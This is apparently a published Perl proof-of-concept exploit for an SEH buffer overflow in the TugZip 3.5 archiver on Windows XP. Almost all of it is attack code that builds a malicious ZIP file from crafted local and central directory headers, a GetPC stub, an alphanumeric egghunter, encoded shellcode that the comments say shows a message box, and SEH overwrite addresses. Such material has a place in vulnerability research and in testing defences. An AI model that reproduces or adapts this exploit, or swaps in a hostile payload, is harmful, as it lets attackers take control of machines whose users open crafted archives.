TugZip 3.5 Archiver – ‘.ZIP’ File Buffer Overflow
#!/usr/bin/perl # Software : TugZip 3.5 (.zip) # Author : Lincoln # Assisted by : corelanc0d3r # OS : Windows # Tested on : XP SP3 En (VirtualBox) # Type of vuln : SEH # Greetz to : Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # # # Code : print "|------------------------------------------------------------------|\n"; print "| __ __ |\n"; print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n"; print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n"; print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n"; print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n"; print "| |\n"; print "| http://www.corelan.be:8800 |\n"; print "| |\n"; print "|-------------------------------------------------[ EIP Hunters ]--|\n\n"; print "[+] Exploit for TugZip 3.5 \n"; my $filename="tugzip.zip"; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xb8\x0b" .# 3k size "\x00\x00\x00"; my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xb8\x0b". # 3k size "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00". "\xe6\x0b\x00\x00". # +46 "\xe5\x0b\x00\x00". # +30 "\x00\x00"; #Only about 120 bytes after p/p/r my $getpc = #align regs into ebx "\x61\x61\x61\x61\x61\x5b". #getpc: http://www.corelan.be:8800/index.php/2010/03/27/exploiting-ken-ward-zipper-taking-advantage-of-payload-conversion/ "\x89\x05". #jmp short (5 bytes) to 'jmp back' at end "\x5e". #pop esi "\x41". #nop (inc ecx) "\x98\x99". #call esi "\x41". #nop (inc ecx) "\x8a\x94\x98\x98\x98"; #jmp back to pop esi #mov ebx into egghunter starting location, base reg esi my $egg = "VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs". "rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA"; #msgbox: "Exploited by Corelan Security Team" my $shellcode = "w00tw00t". "\x89\xe3\xda\xd7\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" . "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" . "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" . "\x75\x4a\x49\x4a\x79\x4a\x4b\x4d\x4b\x4b\x69\x51\x64\x45" . "\x74\x4a\x54\x45\x61\x4e\x32\x4e\x52\x42\x5a\x46\x51\x49" . "\x59\x42\x44\x4e\x6b\x51\x61\x44\x70\x4c\x4b\x43\x46\x44" . "\x4c\x4e\x6b\x42\x56\x47\x6c\x4c\x4b\x51\x56\x44\x48\x4c" . "\x4b\x51\x6e\x45\x70\x4e\x6b\x45\x66\x50\x38\x50\x4f\x47" . "\x68\x50\x75\x4c\x33\x50\x59\x45\x51\x4b\x61\x4b\x4f\x48" . "\x61\x51\x70\x4c\x4b\x50\x6c\x46\x44\x45\x74\x4c\x4b\x51" . "\x55\x47\x4c\x4c\x4b\x50\x54\x43\x35\x50\x78\x43\x31\x4b" . "\x5a\x4c\x4b\x42\x6a\x47\x68\x4e\x6b\x43\x6a\x47\x50\x45" . "\x51\x4a\x4b\x48\x63\x46\x57\x50\x49\x4e\x6b\x44\x74\x4c" . "\x4b\x45\x51\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4b\x70\x4b" . "\x4c\x4e\x4c\x4f\x74\x4b\x70\x43\x44\x46\x6a\x4a\x61\x4a" . "\x6f\x44\x4d\x47\x71\x4b\x77\x48\x69\x4a\x51\x4b\x4f\x49" . "\x6f\x49\x6f\x45\x6b\x43\x4c\x45\x74\x51\x38\x51\x65\x49" . "\x4e\x4e\x6b\x42\x7a\x45\x74\x45\x51\x4a\x4b\x43\x56\x4e" . "\x6b\x46\x6c\x42\x6b\x4c\x4b\x43\x6a\x45\x4c\x43\x31\x4a" . "\x4b\x4e\x6b\x45\x54\x4e\x6b\x47\x71\x4d\x38\x4f\x79\x51" . "\x54\x46\x44\x47\x6c\x45\x31\x4a\x63\x4f\x42\x44\x48\x46" . "\x49\x48\x54\x4f\x79\x4b\x55\x4d\x59\x49\x52\x50\x68\x4c" . "\x4e\x50\x4e\x44\x4e\x48\x6c\x50\x52\x4b\x58\x4d\x4c\x4b" . "\x4f\x49\x6f\x4b\x4f\x4f\x79\x51\x55\x46\x64\x4d\x6b\x51" . "\x6e\x49\x48\x4d\x32\x51\x63\x4c\x47\x45\x4c\x44\x64\x51" . "\x42\x4d\x38\x4e\x6b\x49\x6f\x49\x6f\x4b\x4f\x4c\x49\x42" . "\x65\x47\x78\x43\x58\x42\x4c\x50\x6c\x45\x70\x4b\x4f\x51" . "\x78\x47\x43\x45\x62\x46\x4e\x45\x34\x45\x38\x51\x65\x51" . "\x63\x45\x35\x44\x32\x4d\x58\x51\x4c\x44\x64\x44\x4a\x4c" . "\x49\x48\x66\x43\x66\x4b\x4f\x43\x65\x46\x64\x4c\x49\x4b" . "\x72\x50\x50\x4d\x6b\x4e\x48\x4c\x62\x50\x4d\x4d\x6c\x4e" . "\x67\x47\x6c\x47\x54\x46\x32\x4b\x58\x43\x6e\x49\x6f\x49" . "\x6f\x49\x6f\x42\x48\x51\x74\x45\x71\x51\x48\x45\x70\x43" . "\x58\x44\x30\x43\x47\x42\x4e\x42\x45\x44\x71\x4b\x6b\x4b" . "\x38\x43\x6c\x45\x74\x46\x66\x4b\x39\x48\x63\x45\x38\x50" . "\x61\x42\x4d\x50\x58\x45\x70\x51\x78\x42\x59\x45\x70\x50" . "\x54\x51\x75\x51\x78\x44\x35\x43\x42\x50\x69\x51\x64\x43" . "\x58\x51\x30\x43\x63\x45\x35\x43\x53\x51\x78\x42\x45\x42" . "\x4c\x50\x61\x50\x6e\x42\x48\x51\x30\x51\x53\x50\x6f\x50" . "\x72\x45\x38\x43\x54\x51\x30\x50\x62\x43\x49\x51\x78\x42" . "\x4f\x43\x59\x42\x54\x50\x65\x51\x78\x42\x65\x51\x68\x42" . "\x50\x50\x6c\x46\x51\x48\x49\x4e\x68\x50\x4c\x46\x44\x45" . "\x72\x4d\x59\x49\x71\x44\x71\x4a\x72\x43\x62\x43\x63\x50" . "\x51\x46\x32\x4b\x4f\x48\x50\x50\x31\x4f\x30\x46\x30\x4b" . "\x4f\x51\x45\x44\x48\x45\x5a\x41\x41"; # --- payload --- my $size=2996; my $junk = "A" x 372; my $nseh="\x61\x5c\x7a\x04"; #Small space, take advantage! my $seh ="\x7e\x30\x0c\x7e"; #ztvcabin.7E0C307E my $payload = $junk.$nseh.$seh.$getpc.$egg.$shellcode; my $rest = "D" x ($size - length($payload)); #more room $payload = $payload . $rest. ".txt"; print "[+] Size : " . length($payload)."\n"; system("del $filename"); print "[+] Creating new vulnerable file: $filename\n\n"; open(FILE, ">$filename"); print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header; close(FILE); |